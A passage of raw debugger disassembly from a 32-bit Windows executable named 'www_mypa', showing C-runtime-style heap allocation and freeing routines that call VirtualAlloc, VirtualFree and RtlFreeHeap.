NOP 004044F5 90 NOP 004044F6 90 NOP 004044F7 90 NOP 004044F8 90 NOP 004044F9 90 NOP 004044FA 90 NOP 004044FB 90 NOP 004044FC 90 NOP 004044FD 90 NOP 004044FE 90 NOP 004044FF 90 NOP 00404500 56 PUSH ESI 00404501 8B7424 08 MOV ESI,DWORD PTR SS:[ESP+8] 00404505 68 00800000 PUSH 8000 0040450A 6A 00 PUSH 0 0040450C 8B46 10 MOV EAX,DWORD PTR DS:[ESI+10] 0040450F 50 PUSH EAX 00404510 FF15 40224100 CALL DWORD PTR DS:[412240] ; kernel32.VirtualFree 00404516 3935 F0EB4000 CMP DWORD PTR DS:[40EBF0],ESI 0040451C 75 09 JNZ SHORT www_mypa.00404527 0040451E 8B4E 04 MOV ECX,DWORD PTR DS:[ESI+4] 00404521 890D F0EB4000 MOV DWORD PTR DS:[40EBF0],ECX 00404527 81FE D0CB4000 CMP ESI,www_mypa.0040CBD0 0040452D 74 20 JE SHORT www_mypa.0040454F 0040452F 8B56 04 MOV EDX,DWORD PTR DS:[ESI+4] 00404532 8B06 MOV EAX,DWORD PTR DS:[ESI] 00404534 56 PUSH ESI 00404535 6A 00 PUSH 0 00404537 8902 MOV DWORD PTR DS:[EDX],EAX 00404539 8B0E MOV ECX,DWORD PTR DS:[ESI] 0040453B 8B56 04 MOV EDX,DWORD PTR DS:[ESI+4] 0040453E 8951 04 MOV DWORD PTR DS:[ECX+4],EDX 00404541 A1 E41B4100 MOV EAX,DWORD PTR DS:[411BE4] 00404546 50 PUSH EAX 00404547 FF15 A4214100 CALL DWORD PTR DS:[4121A4] ; ntdll.RtlFreeHeap 0040454D 5E POP ESI 0040454E C3 RETN 0040454F C705 E0CB4000 FF>MOV DWORD PTR DS:[40CBE0],-1 00404559 5E POP ESI 0040455A C3 RETN 0040455B 90 NOP 0040455C 90 NOP 0040455D 90 NOP 0040455E 90 NOP 0040455F 90 NOP 00404560 53 PUSH EBX 00404561 55 PUSH EBP 00404562 56 PUSH ESI 00404563 57 PUSH EDI 00404564 8B3D D4CB4000 MOV EDI,DWORD PTR DS:[40CBD4] ; www_mypa.0040CBD0 0040456A 837F 10 FF CMP DWORD PTR DS:[EDI+10],-1 0040456E 0F84 A0000000 JE www_mypa.00404614 00404574 33ED XOR EBP,EBP 00404576 8DB7 10200000 LEA ESI,DWORD PTR DS:[EDI+2010] 0040457C BB 00F03F00 MOV EBX,3FF000 00404581 813E F0000000 CMP DWORD PTR DS:[ESI],0F0 00404587 75 47 JNZ SHORT www_mypa.004045D0 00404589 8B47 10 MOV EAX,DWORD PTR DS:[EDI+10] 0040458C 68 00400000 PUSH 4000 00404591 03C3 ADD EAX,EBX 00404593 68 00100000 PUSH 1000 00404598 50 PUSH EAX 00404599 FF15 40224100 CALL DWORD PTR DS:[412240] ; kernel32.VirtualFree 0040459F 85C0 TEST EAX,EAX 004045A1 74 2D JE SHORT www_mypa.004045D0 004045A3 C706 FFFFFFFF MOV DWORD PTR DS:[ESI],-1 004045A9 8B15 48074100 MOV EDX,DWORD PTR DS:[410748] 004045AF 4A DEC EDX 004045B0 8915 48074100 MOV DWORD PTR DS:[410748],EDX 004045B6 8B47 0C MOV EAX,DWORD PTR DS:[EDI+C] 004045B9 85C0 TEST EAX,EAX 004045BB 74 04 JE SHORT www_mypa.004045C1 004045BD 3BC6 CMP EAX,ESI 004045BF 76 03 JBE SHORT www_mypa.004045C4 004045C1 8977 0C MOV DWORD PTR DS:[EDI+C],ESI 004045C4 8B4424 14 MOV EAX,DWORD PTR SS:[ESP+14] 004045C8 45 INC EBP 004045C9 48 DEC EAX 004045CA 894424 14 MOV DWORD PTR SS:[ESP+14],EAX 004045CE 74 0D JE SHORT www_mypa.004045DD 004045D0 81EB 00100000 SUB EBX,1000 004045D6 83EE 08 SUB ESI,8 004045D9 85DB TEST EBX,EBX 004045DB ^7D A4 JGE SHORT www_mypa.00404581 004045DD 8BD7 MOV EDX,EDI 004045DF 8B7F 04 MOV EDI,DWORD PTR DS:[EDI+4] 004045E2 85ED TEST EBP,EBP 004045E4 74 2E JE SHORT www_mypa.00404614 004045E6 837A 18 FF CMP DWORD PTR DS:[EDX+18],-1 004045EA 75 28 JNZ SHORT www_mypa.00404614 004045EC B8 01000000 MOV EAX,1 004045F1 8D4A 20 LEA ECX,DWORD PTR DS:[EDX+20] 004045F4 8339 FF CMP DWORD PTR DS:[ECX],-1 004045F7 75 0B JNZ SHORT www_mypa.00404604 004045F9 40 INC EAX 004045FA 83C1 08 ADD ECX,8 004045FD 3D 00040000 CMP EAX,400 00404602 ^7C F0 JL SHORT www_mypa.004045F4 00404604 3D 00040000 CMP EAX,400 00404609 75 09 JNZ SHORT www_mypa.00404614 0040460B 52 PUSH EDX 0040460C E8 EFFEFFFF CALL www_mypa.00404500 00404611 83C4 04 ADD ESP,4 00404614 3B3D D4CB4000 CMP EDI,DWORD PTR DS:[40CBD4] ; www_mypa.0040CBD0 0040461A 74 0C JE SHORT www_mypa.00404628 0040461C 8B4424 14 MOV EAX,DWORD PTR SS:[ESP+14] 00404620 85C0 TEST EAX,EAX 00404622 ^0F8F 42FFFFFF JG www_mypa.0040456A 00404628 5F POP EDI 00404629 5E POP ESI 0040462A 5D POP EBP 0040462B 5B POP EBX 0040462C C3 RETN 0040462D 90 NOP 0040462E 90 NOP 0040462F 90 NOP 00404630 8B4C24 04 MOV ECX,DWORD PTR SS:[ESP+4] 00404634 B8 D0CB4000 MOV EAX,www_mypa.0040CBD0 00404639 3B48 10 CMP ECX,DWORD PTR DS:[EAX+10] 0040463C 76 05 JBE SHORT www_mypa.00404643 0040463E 3B48 14 CMP ECX,DWORD PTR DS:[EAX+14] 00404641 72 0B JB SHORT www_mypa.0040464E 00404643 8B00 MOV EAX,DWORD PTR DS:[EAX] 00404645 3D D0CB4000 CMP EAX,www_mypa.0040CBD0 0040464A 74 3A JE SHORT www_mypa.00404686 0040464C ^EB EB JMP SHORT www_mypa.00404639 0040464E F6C1 0F TEST CL,0F 00404651 75 33 JNZ SHORT www_mypa.00404686 00404653 8BD1 MOV EDX,ECX 00404655 81E2 FF0F0000 AND EDX,0FFF 0040465B 81FA 00010000 CMP EDX,100 00404661 72 23 JB SHORT www_mypa.00404686 00404663 8B5424 08 MOV EDX,DWORD PTR SS:[ESP+8] 00404667 8902 MOV DWORD PTR DS:[EDX],EAX 00404669 8B5424 0C MOV EDX,DWORD PTR SS:[ESP+C] 0040466D 8BC1 MOV EAX,ECX 0040466F 25 00F0FFFF AND EAX,FFFFF000 00404674 2BC8 SUB ECX,EAX 00404676 8902 MOV DWORD PTR DS:[EDX],EAX 00404678 81E9 00010000 SUB ECX,100 0040467E C1F9 04 SAR ECX,4 00404681 8D4401 08 LEA EAX,DWORD PTR DS:[ECX+EAX+8] 00404685 C3 RETN 00404686 33C0 XOR EAX,EAX 00404688 C3 RETN 00404689 90 NOP 0040468A 90 NOP 0040468B 90 NOP 0040468C 90 NOP 0040468D 90 NOP 0040468E 90 NOP 0040468F 90 NOP 00404690 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] 00404694 8B4C24 08 MOV ECX,DWORD PTR SS:[ESP+8] 00404698 56 PUSH ESI 00404699 33D2 XOR EDX,EDX 0040469B 2B48 10 SUB ECX,DWORD PTR DS:[EAX+10] 0040469E C1F9 0C SAR ECX,0C 004046A1 8B74C8 18 MOV ESI,DWORD PTR DS:[EAX+ECX*8+18] 004046A5 8D44C8 18 LEA EAX,DWORD PTR DS:[EAX+ECX*8+18] 004046A9 8B4C24 10 MOV ECX,DWORD PTR SS:[ESP+10] 004046AD 8A11 MOV DL,BYTE PTR DS:[ECX] 004046AF 03F2 ADD ESI,EDX 004046B1 8930 MOV DWORD PTR DS:[EAX],ESI 004046B3 C601 00 MOV BYTE PTR DS:[ECX],0 004046B6 8B08 MOV ECX,DWORD PTR DS:[EAX] 004046B8 C740 04 F1000000 MOV DWORD PTR DS:[EAX+4],0F1 004046BF 81F9 F0000000 CMP ECX,0F0 004046C5 75 1A JNZ SHORT www_mypa.004046E1 004046C7 A1 48074100 MOV EAX,DWORD PTR DS:[410748] 004046CC 40 INC EAX 004046CD 83F8 20 CMP EAX,20 004046D0 A3 48074100 MOV DWORD PTR DS:[410748],EAX 004046D5 75 0A JNZ SHORT www_mypa.004046E1 004046D7 6A 10 PUSH 10 004046D9 E8 82FEFFFF CALL www_mypa.00404560 004046DE 83C4 04 ADD ESP,4 004046E1 5E POP ESI 004046E2 C3 RETN 004046E3 90 NOP 004046E4 90 NOP 004046E5 90 NOP 004046E6 90 NOP 004046E7 90 NOP 004046E8 90 NOP 004046E9 90 NOP 004046EA 90 NOP 004046EB 90 NOP 004046EC 90 NOP 004046ED 90 NOP 004046EE 90 NOP 004046EF 90 NOP 004046F0 51 PUSH ECX 004046F1 8B0D F0EB4000 MOV ECX,DWORD PTR DS:[40EBF0] ; www_mypa.0040CBD0 004046F7 53 PUSH EBX 004046F8 8B5C24 0C MOV EBX,DWORD PTR SS:[ESP+C] 004046FC 55 PUSH EBP 004046FD 56 PUSH ESI 004046FE 57 PUSH EDI 004046FF 894C24 10 MOV DWORD PTR SS:[ESP+10],ECX 00404703 8B41 10 MOV EAX,DWORD PTR DS:[ECX+10] 00404706 83F8 FF CMP EAX,-1 00404709 0F84 85000000 JE www_mypa.00404794 0040470F 8B79 08 MOV EDI,DWORD PTR DS:[ECX+8] 00404712 8DA9 18200000 LEA EBP,DWORD PTR DS:[ECX+2018] 00404718 8BF7 MOV ESI,EDI 0040471A 2BF1 SUB ESI,ECX 0040471C 83EE 18 SUB ESI,18 0040471F C1FE 03 SAR ESI,3 00404722 C1E6 0C SHL ESI,0C 00404725 03F0 ADD ESI,EAX 00404727 3BFD CMP EDI,EBP 00404729 73 2E JNB SHORT www_mypa.00404759 0040472B 8B07 MOV EAX,DWORD PTR DS:[EDI] 0040472D 3BC3 CMP EAX,EBX 0040472F 7C 1B JL SHORT www_mypa.0040474C 00404731 395F 04 CMP DWORD PTR DS:[EDI+4],EBX 00404734 76 16 JBE SHORT www_mypa.0040474C 00404736 53 PUSH EBX 00404737 50 PUSH EAX 00404738 56 PUSH ESI 00404739 E8 F2010000 CALL www_mypa.00404930 0040473E 83C4 0C ADD ESP,0C 00404741 85C0 TEST EAX,EAX 00404743 75 63 JNZ SHORT www_mypa.004047A8 00404745 8B4C24 10 MOV ECX,DWORD PTR SS:[ESP+10] 00404749 895F 04 MOV DWORD PTR DS:[EDI+4],EBX 0040474C 83C7 08 ADD EDI,8 0040474F 81C6 00100000 ADD ESI,1000 00404755 3BFD CMP EDI,EBP 00404757 ^72 D2 JB SHORT www_mypa.0040472B 00404759 8B69 08 MOV EBP,DWORD PTR DS:[ECX+8] 0040475C 8B79 10 MOV EDI,DWORD PTR DS:[ECX+10] 0040475F 8D71 18 LEA ESI,DWORD PTR DS:[ECX+18] 00404762 3BF5 CMP ESI,EBP 00404764 73 2E JNB SHORT www_mypa.00404794 00404766 8B06 MOV EAX,DWORD PTR DS:[ESI] 00404768 3BC3 CMP EAX,EBX 0040476A 7C 1B JL SHORT www_mypa.00404787 0040476C 395E 04 CMP DWORD PTR DS:[ESI+4],EBX 0040476F 76 16 JBE SHORT www_mypa.00404787 00404771 53 PUSH EBX 00404772 50 PUSH EAX 00404773 57 PUSH EDI 00404774 E8 B7010000 CALL www_mypa.00404930 00404779 83C4 0C ADD ESP,0C 0040477C 85C0 TEST EAX,EAX 0040477E 75 41 JNZ SHORT www_mypa.004047C1 00404780 8B4C24 10 MOV ECX,DWORD PTR SS:[ESP+10] 00404784 895E 04 MOV DWORD PTR DS:[ESI+4],EBX 00404787 83C6 08 ADD ESI,8 0040478A 81C7 00100000 ADD EDI,1000 00404790 3BF5 CMP ESI,EBP 00404792 ^72 D2 JB SHORT www_mypa.00404766 00404794 8B09 MOV ECX,DWORD PTR DS:[ECX] 00404796 A1 F0EB4000 MOV EAX,DWORD PTR DS:[40EBF0] 0040479B 3BC8 CMP ECX,EAX 0040479D 894C24 10 MOV DWORD PTR SS:[ESP+10],ECX 004047A1 74 37 JE SHORT www_mypa.004047DA 004047A3 ^E9 5BFFFFFF JMP www_mypa.00404703 004047A8 8B4C24 10 MOV ECX,DWORD PTR SS:[ESP+10] 004047AC 890D F0EB4000 MOV DWORD PTR DS:[40EBF0],ECX 004047B2 8B17 MOV EDX,DWORD PTR DS:[EDI] 004047B4 2BD3 SUB EDX,EBX 004047B6 8917 MOV DWORD PTR DS:[EDI],EDX 004047B8 8979 08 MOV DWORD PTR DS:[ECX+8],EDI 004047BB 5F POP EDI 004047BC 5E POP ESI 004047BD 5D POP EBP 004047BE 5B POP EBX 004047BF 59 POP ECX 004047C0 C3 RETN 004047C1 8B4C24 10 MOV ECX,DWORD PTR SS:[ESP+10] 004047C5 890D F0EB4000 MOV DWORD PTR DS:[40EBF0],ECX 004047CB 8B16 MOV EDX,DWORD PTR DS:[ESI] 004047CD 2BD3 SUB EDX,EBX 004047CF 8916 MOV DWORD PTR DS:[ESI],EDX 004047D1 8971 08 MOV DWORD PTR DS:[ECX+8],ESI 004047D4 5F POP EDI 004047D5 5E POP ESI 004047D6 5D POP EBP 004047D7 5B POP EBX 004047D8 59 POP ECX 004047D9 C3 RETN 004047DA BD D0CB4000 MOV EBP,www_mypa.0040CBD0 004047DF 83C9 FF OR ECX,FFFFFFFF 004047E2 394D 10 CMP DWORD PTR SS:[EBP+10],ECX 004047E5 74 07 JE SHORT www_mypa.004047EE 004047E7 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C] 004047EA 85C0 TEST EAX,EAX 004047EC 75 11 JNZ SHORT www_mypa.004047FF 004047EE 8B6D 00 MOV EBP,DWORD PTR SS:[EBP] 004047F1 81FD D0CB4000 CMP EBP,www_mypa.0040CBD0 004047F7 0F84 E0000000 JE www_mypa.004048DD 004047FD ^EB E3 JMP SHORT www_mypa.004047E2 004047FF 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C] 00404802 8B75 10 MOV ESI,DWORD PTR SS:[EBP+10] 00404805 8BF8 MOV EDI,EAX 00404807 894424 18 MOV DWORD PTR SS:[ESP+18],EAX 0040480B 2BFD SUB EDI,EBP 0040480D 8B10 MOV EDX,DWORD PTR DS:[EAX] 0040480F 83EF 18 SUB EDI,18 00404812 C1FF 03 SAR EDI,3 00404815 C1E7 0C SHL EDI,0C 00404818 03FE ADD EDI,ESI 0040481A 33F6 XOR ESI,ESI 0040481C 3BD1 CMP EDX,ECX 0040481E 75 10 JNZ SHORT www_mypa.00404830 00404820 83FE 10 CMP ESI,10 00404823 7D 0B JGE SHORT www_mypa.00404830 00404825 8B50 08 MOV EDX,DWORD PTR DS:[EAX+8] 00404828 83C0 08 ADD EAX,8 0040482B 46 INC ESI 0040482C 3BD1 CMP EDX,ECX 0040482E ^74 F0 JE SHORT www_mypa.00404820 00404830 8BC6 MOV EAX,ESI 00404832 6A 04 PUSH 4 00404834 C1E0 0C SHL EAX,0C 00404837 68 00100000 PUSH 1000 0040483C 50 PUSH EAX 0040483D 57 PUSH EDI 0040483E 894424 20 MOV DWORD PTR SS:[ESP+20],EAX 00404842 FF15 44224100 CALL DWORD PTR DS:[412244] ; kernel32.VirtualAlloc 00404848 3BC7 CMP EAX,EDI 0040484A 0F85 CB000000 JNZ www_mypa.0040491B 00404850 8B5424 18 MOV EDX,DWORD PTR SS:[ESP+18] 00404854 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] 00404858 33C9 XOR ECX,ECX 0040485A 85F6 TEST ESI,ESI 0040485C 8BCA MOV ECX,EDX 0040485E 7E 32 JLE SHORT www_mypa.00404892 00404860 8D47 04 LEA EAX,DWORD PTR DS:[EDI+4] 00404863 8D50 04 LEA EDX,DWORD PTR DS:[EAX+4] 00404866 C700 F0000000 MOV DWORD PTR DS:[EAX],0F0 0040486C 8950 FC MOV DWORD PTR DS:[EAX-4],EDX 0040486F C680 F4000000 FF MOV BYTE PTR DS:[EAX+F4],0FF 00404876 C701 F0000000 MOV DWORD PTR DS:[ECX],0F0 0040487C C741 04 F1000000 MOV DWORD PTR DS:[ECX+4],0F1 00404883 05 00100000 ADD EAX,1000 00404888 83C1 08 ADD ECX,8 0040488B 4E DEC ESI 0040488C ^75 D5 JNZ SHORT www_mypa.00404863 0040488E 8B5424 18 MOV EDX,DWORD PTR SS:[ESP+18] 00404892 8D85 18200000 LEA EAX,DWORD PTR SS:[EBP+2018] 00404898 892D F0EB4000 MOV DWORD PTR DS:[40EBF0],EBP 0040489E 3BC8 CMP ECX,EAX 004048A0 73 0E JNB SHORT www_mypa.004048B0 004048A2 8339 FF CMP DWORD PTR DS:[ECX],-1 004048A5 74 07 JE SHORT www_mypa.004048AE 004048A7 83C1 08 ADD ECX,8 004048AA 3BC8 CMP ECX,EAX 004048AC ^72 F4 JB SHORT www_mypa.004048A2 004048AE 3BC8 CMP ECX,EAX 004048B0 1BC0 SBB EAX,EAX 004048B2 23C1 AND EAX,ECX 004048B4 8945 0C MOV DWORD PTR SS:[EBP+C],EAX 004048B7 885F 08 MOV BYTE PTR DS:[EDI+8],BL 004048BA 8955 08 MOV DWORD PTR SS:[EBP+8],EDX 004048BD 8B0A MOV ECX,DWORD PTR DS:[EDX] 004048BF 2BCB SUB ECX,EBX 004048C1 890A MOV DWORD PTR DS:[EDX],ECX 004048C3 8B47 04 MOV EAX,DWORD PTR DS:[EDI+4] 004048C6 2BC3 SUB EAX,EBX 004048C8 8D4C1F 08 LEA ECX,DWORD PTR DS:[EDI+EBX+8] 004048CC 8947 04 MOV DWORD PTR DS:[EDI+4],EAX 004048CF 890F MOV DWORD PTR DS:[EDI],ECX 004048D1 8D87 00010000 LEA EAX,DWORD PTR DS:[EDI+100] 004048D7 5F POP EDI 004048D8 5E POP ESI 004048D9 5D POP EBP 004048DA 5B POP EBX 004048DB 59 POP ECX 004048DC C3 RETN 004048DD E8 AEFAFFFF CALL www_mypa.00404390 004048E2 85C0 TEST EAX,EAX 004048E4 74 35 JE SHORT www_mypa.0040491B 004048E6 8B48 10 MOV ECX,DWORD PTR DS:[EAX+10] 004048E9 8859 08 MOV BYTE PTR DS:[ECX+8],BL 004048EC 8D5419 08 LEA EDX,DWORD PTR DS:[ECX+EBX+8] 004048F0 A3 F0EB4000 MOV DWORD PTR DS:[40EBF0],EAX 004048F5 8911 MOV DWORD PTR DS:[ECX],EDX 004048F7 BA F0000000 MOV EDX,0F0 004048FC 2BD3 SUB EDX,EBX 004048FE 81E3 FF000000 AND EBX,0FF 00404904 8951 04 MOV DWORD PTR DS:[ECX+4],EDX 00404907 8B50 18 MOV EDX,DWORD PTR DS:[EAX+18] 0040490A 2BD3 SUB EDX,EBX 0040490C 8950 18 MOV DWORD PTR DS:[EAX+18],EDX 0040490F 8D81 00010000 LEA EAX,DWORD PTR DS:[ECX+100] 00404915 5F POP EDI 00404916 5E POP ESI 00404917 5D POP EBP 00404918 5B POP EBX 00404919 59 POP ECX 0040491A C3 RETN 0040491B 5F POP EDI 0040491C 5E POP ESI 0040491D 5D POP EBP 0040491E 33C0 XOR EAX,EAX 00404920 5B POP EBX 00404921 59 POP ECX 00404922 C3 RETN 00404923 90 NOP 00404924 90 NOP 00404925 90 NOP 00404926 90 NOP 00404927 90 NOP 00404928 90 NOP 00404929 90 NOP 0040492A 90 NOP 0040492B 90 NOP 0040492C 90 NOP 0040492D 90 NOP 0040492E 90 NOP 0040492F 90 NOP 00404930 8B5424 0C MOV EDX,DWORD PTR SS:[ESP+C] 00404934 53 PUSH EBX 00404935 55 PUSH EBP 00404936 56 PUSH ESI 00404937 57 PUSH EDI 00404938 8B7C24 14 MOV EDI,DWORD PTR SS:[ESP+14] 0040493C 8B47 04 MOV EAX,DWORD PTR DS:[EDI+4] 0040493F 8B0F MOV ECX,DWORD PTR DS:[EDI] 00404941 3BC2 CMP EAX,EDX 00404943 894C24 14 MOV DWORD PTR SS:[ESP+14],ECX 00404947 8BF1 MOV ESI,ECX 00404949 8D9F F8000000 LEA EBX,DWORD PTR DS:[EDI+F8] 0040494F 72 3A JB SHORT www_mypa.0040498B 00404951 8D0411 LEA EAX,DWORD PTR DS:[ECX+EDX] 00404954 8811 MOV BYTE PTR DS:[ECX],DL 00404956 3BC3 CMP EAX,EBX 00404958 73 10 JNB SHORT www_mypa.0040496A 0040495A 8B37 MOV ESI,DWORD PTR DS:[EDI] 0040495C 8B47 04 MOV EAX,DWORD PTR DS:[EDI+4] 0040495F 03F2 ADD ESI,EDX 00404961 2BC2 SUB EAX,EDX 00404963 8937 MOV DWORD PTR DS:[EDI],ESI 00404965 8947 04 MOV DWORD PTR DS:[EDI+4],EAX 00404968 EB 0C JMP SHORT www_mypa.00404976 0040496A 8D57 08 LEA EDX,DWORD PTR DS:[EDI+8] 0040496D C747 04 00000000 MOV DWORD PTR DS:[EDI+4],0 00404974 8917 MOV DWORD PTR DS:[EDI],EDX 00404976 8D047F LEA EAX,DWORD PTR DS:[EDI+EDI*2] 00404979 8D0480 LEA EAX,DWORD PTR DS:[EAX+EAX*4] 0040497C 8BD0 MOV EDX,EAX 0040497E 8D41 08 LEA EAX,DWORD PTR DS:[ECX+8] 00404981 C1E0 04 SHL EAX,4 00404984 2BC2 SUB EAX,EDX 00404986 5F POP EDI 00404987 5E POP ESI 00404988 5D POP EBP 00404989 5B POP EBX 0040498A C3 RETN 0040498B 03C1 ADD EAX,ECX 0040498D 8038 00 CMP BYTE PTR DS:[EAX],0 00404990 74 02 JE SHORT www_mypa.00404994 00404992 8BF0 MOV ESI,EAX 00404994 8D0416 LEA EAX,DWORD PTR DS:[ESI+EDX] 00404997 3BC3 CMP EAX,EBX 00404999 8B5C24 18 MOV EBX,DWORD PTR SS:[ESP+18] 0040499D 73 75 JNB SHORT www_mypa.00404A14 0040499F 8A06 MOV AL,BYTE PTR DS:[ESI] 004049A1 84C0 TEST AL,AL 004049A3 75 3C JNZ SHORT www_mypa.004049E1 004049A5 807E 01 00 CMP BYTE PTR DS:[ESI+1],0 004049A9 8D46 01 LEA EAX,DWORD PTR DS:[ESI+1] 004049AC B9 01000000 MOV ECX,1 004049B1 75 07 JNZ SHORT www_mypa.004049BA 004049B3 40 INC EAX 004049B4 41 INC ECX 004049B5 8038 00 CMP BYTE PTR DS:[EAX],0 004049B8 ^74 F9 JE SHORT www_mypa.004049B3 004049BA 3BCA CMP ECX,EDX 004049BC 73 39 JNB SHORT www_mypa.004049F7 004049BE 8B6C24 14 MOV EBP,DWORD PTR SS:[ESP+14] 004049C2 3BF5 CMP ESI,EBP 004049C4 75 09 JNZ SHORT www_mypa.004049CF 004049C6 894F 04 MOV DWORD PTR DS:[EDI+4],ECX 004049C9 8BF0 MOV ESI,EAX 004049CB 8BCD MOV ECX,EBP 004049CD EB 19 JMP SHORT www_mypa.004049E8 004049CF 2BD9 SUB EBX,ECX 004049D1 3BDA CMP EBX,EDX 004049D3 0F82 C2000000 JB www_mypa.00404A9B 004049D9 8B4C24 14 MOV ECX,DWORD PTR SS:[ESP+14] 004049DD 8BF0 MOV ESI,EAX 004049DF EB 07 JMP SHORT www_mypa.004049E8 004049E1 25 FF000000 AND EAX,0FF 004049E6 03F0 ADD ESI,EAX 004049E8 8D2C16 LEA EBP,DWORD PTR DS:[ESI+EDX] 004049EB 8D87 F8000000 LEA EAX,DWORD PTR DS:[EDI+F8] 004049F1 3BE8 CMP EBP,EAX 004049F3 ^72 AA JB SHORT www_mypa.0040499F 004049F5 EB 1D JMP SHORT www_mypa.00404A14 004049F7 8D0416 LEA EAX,DWORD PTR DS:[ESI+EDX] 004049FA 8D9F F8000000 LEA EBX,DWORD PTR DS:[EDI+F8] 00404A00 3BC3 CMP EAX,EBX 00404A02 73 09 JNB SHORT www_mypa.00404A0D 00404A04 2BCA SUB ECX,EDX 00404A06 8907 MOV DWORD PTR DS:[EDI],EAX 00404A08 894F 04 MOV DWORD PTR DS:[EDI+4],ECX 00404A0B EB 79 JMP SHORT www_mypa.00404A86 00404A0D 8D4F 08 LEA ECX,DWORD PTR DS:[EDI+8] 00404A10 890F MOV DWORD PTR DS:[EDI],ECX 00404A12 EB 6B JMP SHORT www_mypa.00404A7F 00404A14 8D6F 08 LEA EBP,DWORD PTR DS:[EDI+8] 00404A17 8BF5 MOV ESI,EBP 00404A19 3BF1 CMP ESI,ECX 00404A1B 73 7E JNB SHORT www_mypa.00404A9B 00404A1D 8D0C16 LEA ECX,DWORD PTR DS:[ESI+EDX] 00404A20 8D87 F8000000 LEA EAX,DWORD PTR DS:[EDI+F8] 00404A26 3BC8 CMP ECX,EAX 00404A28 73 71 JNB SHORT www_mypa.00404A9B 00404A2A 8A06 MOV AL,BYTE PTR DS:[ESI] 00404A2C 84C0 TEST AL,AL 00404A2E 75 23 JNZ SHORT www_mypa.00404A53 00404A30 807E 01 00 CMP BYTE PTR DS:[ESI+1],0 00404A34 8D46 01 LEA EAX,DWORD PTR DS:[ESI+1] 00404A37 B9 01000000 MOV ECX,1 00404A3C 75 07 JNZ SHORT www_mypa.00404A45 00404A3E 40 INC EAX 00404A3F 41 INC ECX 00404A40 8038 00 CMP BYTE PTR DS:[EAX],0 00404A43 ^74 F9 JE SHORT www_mypa.00404A3E 00404A45 3BCA CMP ECX,EDX 00404A47 73 1E JNB SHORT www_mypa.00404A67 00404A49 2BD9 SUB EBX,ECX 00404A4B 3BDA CMP EBX,EDX 00404A4D 72 4C JB SHORT www_mypa.00404A9B 00404A4F 8BF0 MOV ESI,EAX 00404A51 EB 07 JMP SHORT www_mypa.00404A5A 00404A53 25 FF000000 AND EAX,0FF 00404A58 03F0 ADD ESI,EAX 00404A5A 3B7424 14 CMP ESI,DWORD PTR SS:[ESP+14] 00404A5E ^72 BD JB SHORT www_mypa.00404A1D 00404A60 33C0 XOR EAX,EAX 00404A62 5F POP EDI 00404A63 5E POP ESI 00404A64 5D POP EBP 00404A65 5B POP EBX 00404A66 C3 RETN 00404A67 8D0416 LEA EAX,DWORD PTR DS:[ESI+EDX] 00404A6A 8D9F F8000000 LEA EBX,DWORD PTR DS:[EDI+F8] 00404A70 3BC3 CMP EAX,EBX 00404A72 73 09 JNB SHORT www_mypa.00404A7D 00404A74 2BCA SUB ECX,EDX 00404A76 8907 MOV DWORD PTR DS:[EDI],EAX 00404A78 894F 04 MOV DWORD PTR DS:[EDI+4],ECX 00404A7B EB 09 JMP SHORT www_mypa.00404A86 00404A7D 892F MOV DWORD PTR DS:[EDI],EBP 00404A7F C747 04 00000000 MOV DWORD PTR DS:[EDI+4],0 00404A86 8D047F LEA EAX,DWORD PTR DS:[EDI+EDI*2] 00404A89 8816 MOV BYTE PTR DS:[ESI],DL 00404A8B 8D1480 LEA EDX,DWORD PTR DS:[EAX+EAX*4] 00404A8E 8D46 08 LEA EAX,DWORD PTR DS:[ESI+8] 00404A91 C1E0 04 SHL EAX,4 00404A94 2BC2 SUB EAX,EDX 00404A96 5F POP EDI 00404A97 5E POP ESI 00404A98 5D POP EBP 00404A99 5B POP EBX 00404A9A C3 RETN 00404A9B 5F POP EDI 00404A9C 5E POP ESI 00404A9D 5D POP EBP 00404A9E 33C0 XOR EAX,EAX 00404AA0 5B POP EBX 00404AA1 C3 RETN 00404AA2 90 NOP 00404AA3 90 NOP 00404AA4 90 NOP 00404AA5 90 NOP 00404AA6 90 NOP 00404AA7 90 NOP 00404AA8 90 NOP 00404AA9 90 NOP 00404AAA 90 NOP 00404AAB 90 NOP 00404AAC 90 NOP 00404AAD 90 NOP 00404AAE 90 NOP 00404AAF 90 NOP 00404AB0 8B4C24 04 MOV ECX,DWORD PTR SS:[ESP+4] 00404AB4 53 PUSH EBX 00404AB5 55 PUSH EBP 00404AB6 8B6C24 10 MOV EBP,DWORD PTR SS:[ESP+10] 00404ABA 56 PUSH ESI 00404ABB 57 PUSH EDI 00404ABC 8B79 10 MOV EDI,DWORD PTR DS:[ECX+10] 00404ABF 8BD5 MOV EDX,EBP 00404AC1 2BD7 SUB EDX,EDI 00404AC3 8B7C24 1C MOV EDI,DWORD PTR SS:[ESP+1C] 00404AC7 C1FA 0C SAR EDX,0C 00404ACA 8B5C24 20 MOV EBX,DWORD PTR SS:[ESP+20] 00404ACE 33C0 XOR EAX,EAX 00404AD0 8D4CD1 18 LEA ECX,DWORD PTR DS:[ECX+EDX*8+18] 00404AD4 33D2 XOR EDX,EDX 00404AD6 8A17 MOV DL,BYTE PTR DS:[EDI] 00404AD8 894C24 18 MOV DWORD PTR SS:[ESP+18],ECX 00404ADC 8BF2 MOV ESI,EDX 00404ADE 3BF3 CMP ESI,EBX 00404AE0 76 1B JBE SHORT www_mypa.00404AFD 00404AE2 881F MOV BYTE PTR DS:[EDI],BL 00404AE4 8B01 MOV EAX,DWORD PTR DS:[ECX] 00404AE6 2BF3 SUB ESI,EBX 00404AE8 C741 04 F1000000 MOV DWORD PTR DS:[ECX+4],0F1 00404AEF 03C6 ADD EAX,ESI 00404AF1 8901 MOV DWORD PTR DS:[ECX],EAX 00404AF3 B8 01000000 MOV EAX,1 00404AF8 5F POP EDI 00404AF9 5E POP ESI 00404AFA 5D POP EBP 00404AFB 5B POP EBX 00404AFC C3 RETN 00404AFD 73 70 JNB SHORT www_mypa.00404B6F 00404AFF 8D0C3B LEA ECX,DWORD PTR DS:[EBX+EDI] 00404B02 8D95 F8000000 LEA EDX,DWORD PTR SS:[EBP+F8] 00404B08 3BCA CMP ECX,EDX 00404B0A 77 63 JA SHORT www_mypa.00404B6F 00404B0C 8D143E LEA EDX,DWORD PTR DS:[ESI+EDI] 00404B0F 3BD1 CMP EDX,ECX 00404B11 73 0C JNB SHORT www_mypa.00404B1F 00404B13 803A 00 CMP BYTE PTR DS:[EDX],0 